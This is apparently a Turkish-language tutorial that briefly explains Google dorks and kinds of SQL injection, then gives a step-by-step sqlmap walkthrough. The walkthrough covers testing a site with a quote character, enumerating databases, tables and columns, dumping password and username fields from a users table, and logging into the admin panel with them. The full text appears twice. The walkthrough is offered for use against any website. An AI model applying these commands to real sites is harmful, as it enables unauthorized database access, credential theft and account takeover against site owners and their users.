DORK NEDİR?
Google dork, google arama motoru üzerinde yapmış ve yapacak olduğumuz aramalar için bizlere kolaylık sağlayan bazı parametrelerin kullanımı ile arayacak olduğumuz kelimelere yönelik filtreleme işlemi yapmamıza olanak tanıyan bir sistemdir.
SQL İNJECTİON NEDİR SALDIRILARI NASIL GERÇEKLEŞİR?
Bir kişinin veya kuruluşun verilerini silme, değiştirme, yedekleme, sisteme virüs ekleme, operasyonlara zarar verme gibi amaçlarla kullanılan SQL Injection, uygulamanın istemci ucundan SQL sorgu girişi eklenerek veya enjekte edilerek yapılır.
SQL enjeksiyonu için saldırganın bir web uygulamasında veya web sayfasında güvenlik açığı olan bir girişi bulması gerekir.
SQL enjeksiyonu, veriler güvenilmeyen bir kaynaktan bir programa girdiğinde ve bu veriler dinamik olarak bir SQL sorgusu oluşturmak için kullanıldığında gerçekleşir. Yanıt, saldırganın veritabanı mimarisini anlaması ve uygulamanın güvenli bilgilerine erişmesi için gereklidir. Bilgisayar korsanı, özel olarak hazırlanmış bir SQL komutuyla veritabanı yapısı hakkında net fikir sağlayan bir yanıt elde ederek veritabanındaki tüm bilgilere erişebilir.
SQL, kontrol düzlemi ile veri düzlemi arasında ayrım yapmadığından, saldırgan bir meta karakter yerleştirebilir (veri olarak yorumlanmayan bir karakter, alt çizgi _ gibi).
Çocukların bile gerçekleştirebileceği kadar basit bir saldırı türü olan SQL enjeksiyonu ile bir saldırgan eklediği bir kodla parola bilgisi gerekmeksizin kimlik doğrulamasını atlayabilir.
SQL Injection saldırılarının gerçekleştirildiği farklı yolları şu şekilde sıralayabiliriz:
Kullanıcı girişine dayalı SQL enjeksiyonu: Web uygulamaları, kullanıcının girdilerini; işlenmek üzere veritabanına ileten formlar aracılığıyla kabul eder. Uygulamalar bu girdileri sterilize etmeden kabul ederse, saldırgan form alanları aracılığıyla SQL ifadeleri enjekte edebilir ve veritabanının içeriğini silebilir, kopyalayabilir veya değiştirebilir.
Çerezlere dayalı SQL enjeksiyonu: Web uygulamaları genellikle tanımlama bilgileri yükler ve verilerini veritabanı işlemlerinin bir parçası olarak kullanır. Bu tür SQL enjeksiyonu, tanımlama bilgilerini veritabanı sorgularını “zehirleyecek” şekilde değiştirir. Kötü niyetli bir kullanıcı veya bir kullanıcının cihazına dağıtılan kötü amaçlı yazılım, arka uç veritabanına beklenmedik bir şekilde SQL enjekte etmek için tanımlama bilgilerini değiştirebilir.
HTTP başlıklarına dayalı SQL enjeksiyonu: HTTP başlıkları gibi sunucu değişkenleri SQL enjeksiyonu için de kullanılabilir. Bir web uygulaması HTTP başlıklarından girdileri kabul ederse, rastgele SQL içeren sahte başlıklar veritabanına kod enjekte edebilir.
İkinci dereceden SQL enjeksiyonu: En karmaşık SQL enjeksiyon saldırılarıdır çünkü uzun bir süre uykuda kalabilirler. İkinci dereceden SQL enjeksiyon saldırısı, bir bağlamda iyi huylu olarak kabul edilebilecek ancak başka bir bağlamda kötü amaçlı olan zehirli veriler sunar. Geliştiriciler tüm uygulama girişlerini sterilize etseler bile bu tür saldırılara karşı savunmasız kalabilirler.
şimdi nasıl yapılıcağına geçelim ilk olarak bir sitede sql açığı var mı diye kontrol edelim bunun için sitenin url'sinin sonuna ' (tek tırnak) işareti koyalım eğer site bize synax hatası verir ise bu sitede sql açığı vardır şimdi başlayalım
ilk yazacağımız kod:
sqlmap -u "sitenin url'si" --dbs
bu kod ile sitenin database ini çekeriz eğer ilk defa yapıyorsanız bu koddan sonra size 3 tane soru soracaktır bu soruların cevabını sırayla şöyle verin
1. soru: Y
2. soru: Y
3. soruya ise: N cevabını verin
ve bundan sonra karşınıza şöyle bir şey çıkacaktır
[*] acuart
[*] information_schema
bunlar bize 2. kodda lazım olacak
şimdi geçelim 2. kodumuza:
sqlmap -u "sitenin url'si" -D acuart --tables
(siz acuart yerine information_schema'yı kullanabilirsiniz size kalmış)
bu kodu yazdıktan sonra karşınıza bir tablo çıkacaktır
örnek:
artists
carts
products
users
daha farklı şeylerde çıkabilir ama bize burada lazım olan users (kullanıcılar)
şimdi geldik 3. kodumuza:
sqlmap -u "sitenin url'si" -D acuart -T users --columns
bu kod da bizim karşımıza tablo çıkarır
örnek:
address
card
cc
name
email
pass
uname
bize bu tabloda lazım olanlar pass,uname ( şifre, kullanıcı adı)
ve 4. yani son kodumuza geldik bu kod:
sqlmap -u "sitenin url'si" -D acuart -T users -C pass,uname --dump
bu kod sitenin şifresini ve kullanıcı adını sunar
örnek:
pass|uname
111 |222
111 şifre, 222 ise kullanıcı adıdır bunları ise admin paneline girip 111'i paswword kısmına 222'yi user name kısmına girersiniz
umarım işinize yaramıştır herkese iyi günler dilerim
Google dork, google arama motoru üzerinde yapmış ve yapacak olduğumuz aramalar için bizlere kolaylık sağlayan bazı parametrelerin kullanımı ile arayacak olduğumuz kelimelere yönelik filtreleme işlemi yapmamıza olanak tanıyan bir sistemdir.
SQL İNJECTİON NEDİR SALDIRILARI NASIL GERÇEKLEŞİR?
Bir kişinin veya kuruluşun verilerini silme, değiştirme, yedekleme, sisteme virüs ekleme, operasyonlara zarar verme gibi amaçlarla kullanılan SQL Injection, uygulamanın istemci ucundan SQL sorgu girişi eklenerek veya enjekte edilerek yapılır.
SQL enjeksiyonu için saldırganın bir web uygulamasında veya web sayfasında güvenlik açığı olan bir girişi bulması gerekir.
SQL enjeksiyonu, veriler güvenilmeyen bir kaynaktan bir programa girdiğinde ve bu veriler dinamik olarak bir SQL sorgusu oluşturmak için kullanıldığında gerçekleşir. Yanıt, saldırganın veritabanı mimarisini anlaması ve uygulamanın güvenli bilgilerine erişmesi için gereklidir. Bilgisayar korsanı, özel olarak hazırlanmış bir SQL komutuyla veritabanı yapısı hakkında net fikir sağlayan bir yanıt elde ederek veritabanındaki tüm bilgilere erişebilir.
SQL, kontrol düzlemi ile veri düzlemi arasında ayrım yapmadığından, saldırgan bir meta karakter yerleştirebilir (veri olarak yorumlanmayan bir karakter, alt çizgi _ gibi).
Çocukların bile gerçekleştirebileceği kadar basit bir saldırı türü olan SQL enjeksiyonu ile bir saldırgan eklediği bir kodla parola bilgisi gerekmeksizin kimlik doğrulamasını atlayabilir.
SQL Injection saldırılarının gerçekleştirildiği farklı yolları şu şekilde sıralayabiliriz:
Kullanıcı girişine dayalı SQL enjeksiyonu: Web uygulamaları, kullanıcının girdilerini; işlenmek üzere veritabanına ileten formlar aracılığıyla kabul eder. Uygulamalar bu girdileri sterilize etmeden kabul ederse, saldırgan form alanları aracılığıyla SQL ifadeleri enjekte edebilir ve veritabanının içeriğini silebilir, kopyalayabilir veya değiştirebilir.
Çerezlere dayalı SQL enjeksiyonu: Web uygulamaları genellikle tanımlama bilgileri yükler ve verilerini veritabanı işlemlerinin bir parçası olarak kullanır. Bu tür SQL enjeksiyonu, tanımlama bilgilerini veritabanı sorgularını “zehirleyecek” şekilde değiştirir. Kötü niyetli bir kullanıcı veya bir kullanıcının cihazına dağıtılan kötü amaçlı yazılım, arka uç veritabanına beklenmedik bir şekilde SQL enjekte etmek için tanımlama bilgilerini değiştirebilir.
HTTP başlıklarına dayalı SQL enjeksiyonu: HTTP başlıkları gibi sunucu değişkenleri SQL enjeksiyonu için de kullanılabilir. Bir web uygulaması HTTP başlıklarından girdileri kabul ederse, rastgele SQL içeren sahte başlıklar veritabanına kod enjekte edebilir.
İkinci dereceden SQL enjeksiyonu: En karmaşık SQL enjeksiyon saldırılarıdır çünkü uzun bir süre uykuda kalabilirler. İkinci dereceden SQL enjeksiyon saldırısı, bir bağlamda iyi huylu olarak kabul edilebilecek ancak başka bir bağlamda kötü amaçlı olan zehirli veriler sunar. Geliştiriciler tüm uygulama girişlerini sterilize etseler bile bu tür saldırılara karşı savunmasız kalabilirler.
şimdi nasıl yapılıcağına geçelim ilk olarak bir sitede sql açığı var mı diye kontrol edelim bunun için sitenin url'sinin sonuna ' (tek tırnak) işareti koyalım eğer site bize synax hatası verir ise bu sitede sql açığı vardır şimdi başlayalım
ilk yazacağımız kod:
sqlmap -u "sitenin url'si" --dbs
bu kod ile sitenin database ini çekeriz eğer ilk defa yapıyorsanız bu koddan sonra size 3 tane soru soracaktır bu soruların cevabını sırayla şöyle verin
1. soru: Y
2. soru: Y
3. soruya ise: N cevabını verin
ve bundan sonra karşınıza şöyle bir şey çıkacaktır
[*] acuart
[*] information_schema
bunlar bize 2. kodda lazım olacak
şimdi geçelim 2. kodumuza:
sqlmap -u "sitenin url'si" -D acuart --tables
(siz acuart yerine information_schema'yı kullanabilirsiniz size kalmış)
bu kodu yazdıktan sonra karşınıza bir tablo çıkacaktır
örnek:
artists
carts
products
users
daha farklı şeylerde çıkabilir ama bize burada lazım olan users (kullanıcılar)
şimdi geldik 3. kodumuza:
sqlmap -u "sitenin url'si" -D acuart -T users --columns
bu kod da bizim karşımıza tablo çıkarır
örnek:
address
card
cc
name
pass
uname
bize bu tabloda lazım olanlar pass,uname ( şifre, kullanıcı adı)
ve 4. yani son kodumuza geldik bu kod:
sqlmap -u "sitenin url'si" -D acuart -T users -C pass,uname --dump
bu kod sitenin şifresini ve kullanıcı adını sunar
örnek:
pass|uname
111 |222
111 şifre, 222 ise kullanıcı adıdır bunları ise admin paneline girip 111'i paswword kısmına 222'yi user name kısmına girersiniz
umarım işinize yaramıştır herkese iyi günler dilerim